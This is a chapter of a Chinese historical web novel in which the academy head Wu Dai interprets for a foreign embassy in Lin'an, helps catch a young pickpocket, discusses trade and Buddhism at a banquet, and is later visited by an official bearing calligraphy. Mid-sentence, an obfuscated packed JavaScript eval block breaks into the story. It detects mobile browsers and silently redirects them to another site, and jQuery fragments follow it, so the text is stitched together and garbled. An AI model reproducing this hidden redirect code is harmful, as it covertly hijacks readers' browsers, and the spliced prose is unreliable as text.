码头上的混乱愈演愈烈，人群四处奔窜，喊叫声此起彼伏。


    藤原宗平和使团成员面露惊慌，武士们手刀柄，一副随时准备应战的样子。


    吴黛将那一闪而过的背影暂且抛之脑后，快步走上前，用扶桑语安抚道：“请诸位放心，只是有小偷作乱，很快就会平息。”


    藤原宗平皱眉点头，木村健太却仍警惕地环顾四周。


    吴黛转身望向卢定云，他向手下道：“得尽快平息骚乱，确保使团安全！”


    他身后的鸿胪寺属官额头冒汗，紧张地传达命令：“来人啊，快去捉拿那小偷！”


    吴黛目光四扫，只见人群中有一名身形瘦小的少年正急匆匆地挤向人群边缘。他动作鬼祟，与混乱中惊慌的百姓判若两人。


    吴黛眼睛一亮，大喊：“那人可疑！”


    鸿胪寺卫队随着吴黛指的方向，立刻分头行动。一拨人跑到前方拦截，挡住少年的去路，另一拨人从后方赶上，一把抓住少年的后衣领。


    “放开我！我什么都没做！”少年挣扎着大喊。


    被偷的百姓一拥而上，纷纷喊着：“把钱袋还给我。”


    少年眼神闪烁：“什么钱袋？我不知道你们在说什么！”


    话音未落，卫队首领一个巴掌扇过去，少年立刻收声。


    另一个有眼色的卫队成员随即上前搜身，摸出少年怀中的三个钱袋。


    “这是我的钱袋！”


    “那个是我的！”


    “我的也在！”


    先前被偷的三名百姓马上认出了自己的钱袋，卫队首领吼道：“证据在此，还想狡辩？”


    少年又惊又慌，哭道：“这......这......我......我也不知道为什么钱袋会在我这里。”


    吴黛目光落在那少年满是泥垢的脸上，又扫过他瘦弱单薄的身形，心中不免一软，遂压低声音，向卢定云求情：“他年岁尚小，形容又似是流离失所之人，多半是饿狠了，一时失了分寸，可否从轻发落？”


    卢定云微微点头，转身向众人高声宣布：“小偷已经抓到，请大家安心！”


    骚乱很快平息，秩序重新恢复。


    卢定云向藤原宗平等使团众人，连连施礼道歉。


    藤原宗平摆摆手表示理解，目光却落在了吴黛身上，赞道：“贵国女官不同凡响！”


    卢定云含笑介绍道：“这位本是云章书院的吴山长，精通贵国语言，此次特意邀请协助接待诸位贵客。”


    藤原宗平眼中闪过一丝惊讶，“女子主持书院？实在令人敬佩。”


    吴黛回礼致谢。


    重明禅师双手合十，用带着口音的汉语说道：“阿弥陀佛，吴施主学识渊博，又心系众生，方才为迷途少年求情之举，颇见菩萨心肠。”


    使团众人此刻松了口气，都略带好奇地打量着吴黛。只见她身形娇小，眉眼间却不见怯色，立在那里，自有一股稳稳的气势，叫人不由多看一眼。


    随后，在鸿胪寺官员的引导下，使团依次登车，向都亭驿进发。吴黛随卢定云同行，继续担任翻译，沿途为使团简要介绍临安城景致风貌。


    “临安既是都城，也是商业重镇。”吴黛以扶桑语说道，“每日有上千艘商船在城外云集，货物流通自全国各地，也远至海外。”


    木村健太饶有兴趣地点头应和：“确实繁华，比我想象的还要热闹。”


    一行人驱车行了不到三刻钟，便到了御街南侧的都亭驿。


    此驿专司接待外国使节，清幽周整。使团一行人安顿妥当后，卢定云随即着手安排当晚的接风宴。


    ***


    傍晚时分，都亭驿内灯火通明。


    藤原宗平等要员在侍从引导下入主席，众随从在偏厅落座。宴会开始，各种精美菜肴一一上桌。


    吴黛随卢定云坐在主席，汪庸等云章学生在偏厅陪坐。


    酒过三巡，木村健太向卢定云询问：“贵国如何管理如此繁荣的商业活动？在扶桑，我们不免时有市场混乱、价格波动等问题发生。”


    吴黛将话译出，卢定云微笑应对：“木村守护问得好，我大宋管理贸易，并非任其自流，自有章法。朝廷设有市舶司，专管海外贸易，诸事皆有定规；交易往来，多由官方认可的牙人居中撮合，以免生出纷争。至于钱货流通，也有专司兑换的交引铺，从中调节，免得市面失序。”


    “交引铺？”木村健太听得眼睛一亮，“这倒新奇。”


    吴黛顺势问道：“不知贵国在商贸上，有何良策？”


    木村健太思索片刻，答道：“扶桑商贸规模不大，却颇倚重行会。各行自有首领，定下规矩，遇事先由行会裁处。官府少插手，反倒运转得开。”


    吴黛随即将他的意思转述。


    卢定云听后点头赞同：“行会自治，确有可取之处。我朝亦有‘行’，只是朝廷管束更严。或许可借鉴贵国经验，稍加放手，以利商事。”


    木村健太兴致渐高：“若两国商路往来更密，彼此借鉴，定能相得益彰。贵国丝绸、瓷器在我国极受欢迎，我国的刀剑、漆器，也颇具特色，在贵国有销路。”


    吴黛一面飞速翻译，一面“夹带私货”，向卢定云建议：“若能专门港口对接商贸事宜，再设商人互访之制，甚至互置商馆，两国商贸往来或可长久稳妥。”


    卢定云连连点头：“吴山长所言极是，此事大有可为，卢某回头定向朝廷上奏。”


    此时，藤原宗平轻叹一声：“贵国商贸兴盛，令人钦佩。不知贵国可曾担心商路愈盛，人心或易浮动。”


    卢定云微微一笑，目光转向重明禅师，道：“正因如此，我大宋重商，亦重教化。佛法东传，润物无声，于教化人心大有助益。”


    吴黛闻言，心想，来了来了，姚冠杨的画能派上用场了！


    她不慌不忙地翻译，等待时机。


    “阿弥陀佛，施主所言极是。”重明禅师双手合十低诵法号，缓缓道，“佛法东传已有数百年，同源而异流。贵国禅宗盛行，讲究顿悟，我国则重念佛往生。然无论何种法门，皆为度化众生，平息贪嗔痴念，使人心归安宁。”


    卢定云附和道：“禅师所言甚是，佛法虽分宗派，但殊途同归，皆为渡人向善。”


    吴黛闻边翻译，边从袖中取出《布施图解》，双手呈上，道：“大师，黛虽不通


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018506|189019||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    佛法，却知与人为善乃修行之本。正如此卷《布施图解》所绘，布施之道，贵在心意和方式，有舍才有得。”


    她指着图中的细节一一说明，重明禅师接过图卷，细细端详，眼中渐露赞许之色：“此画乃吴施主所作？”


    吴黛摇头：“非也，乃是我书院姚先生之作。”


    重明叹道：“画者心思细腻，此图不仅简明易懂，更可引导世人自细微处修行，积少成多，终成善果。”


    吴黛笑着致谢，将谈话主导交还给卢定云。她清楚自己只是译者，不能喧宾夺主，只在恰当的时机取出契合谈话主题的画作，以辅助交流。


    几日之后，鸿胪寺又请杂戏班为使团表演。


    吴黛随卢定云走过每一处，将杂戏各种热闹的大场面讲得活灵活现。她依然借助姚冠杨新作的杂戏画卷，解释几个重点表演动作的含义，偶然说几句俏皮话，令使团成员笑声不断。


    至月底的送别宴，使团众人告别，她的鸿胪寺兼职也告一段落。


    ***


    四月初的一个傍晚，学生们刚刚下学，斋仆阿龙突然奔来相告：“山长，鸿胪寺卿来了。”


    吴黛吩咐阿龙将姚冠杨和朱又玄叫到清风堂，自己匆匆迎出去。只见卢定云今日身着常服，正背手抬头，看着云章书院的匾额，手里还拿着一个用布包着的长卷。


    她惊问：“卢寺卿怎么亲自来了？”


    卢定云指着匾额，不答反问：“敢问这是谁人所题？”


    吴黛边引卢定云入内，边答道：“是家父题的。”


    “哦？令尊不是行商的么？想不到在书法上也有造诣。”卢定云有些诧异，旋即又笑评，“用笔精到，疏密有致，可惜气韵稍欠。”


    “卢寺卿见笑了，家父平日里算账倒是笔笔清晰，写起字来却总像账本上的数字，横平竖直，半点风情也无。”吴黛促狭道，丝毫不给亲爹面子。


    卢定云闻言，哈哈大笑。


    两人说笑间，便到了清风堂，姚冠杨和朱又玄已在堂中等候。


    卢定云道：“这便是吴山长口中常提的朱、姚两位先生？”


    姚冠杨和朱又玄行礼迎卢定云入座。


    一番寒暄后，卢定云开门见山：“今日此来，一为公，感谢吴山长为鸿胪寺接待使团一事尽心竭力，令使团上下赞不绝口。二为私，自见过吴山长和三名学子的风采，我实在对云章书院好奇，就想来一探究竟。”


    “卢寺卿过誉了，黛不过略尽绵薄之力。”吴黛谦逊道，“至于我们云章书院，自然竭诚欢迎您来。”说罢，便要起身引卢定云入内参观。


    卢定云却道：“不忙，我有一礼相赠。”


    说着，他将手中布卷打开，一幅字跃入眼帘，上书“云章书院”四字，遒劲有力，气势磅礴。


    吴黛喜道：“多谢卢寺卿赠墨。”


    姚冠杨与朱又玄也纷纷致谢。


    “误会误会。”卢定云摆了摆手道，“我哪写得出如此神采的字，这是虞枢相的墨宝！”


    吴黛纳闷，即便她在上次接待使团的任务中表现出色，可虞有台是枢密使，堂堂军事大佬也不管外交，怎么会给云章题字？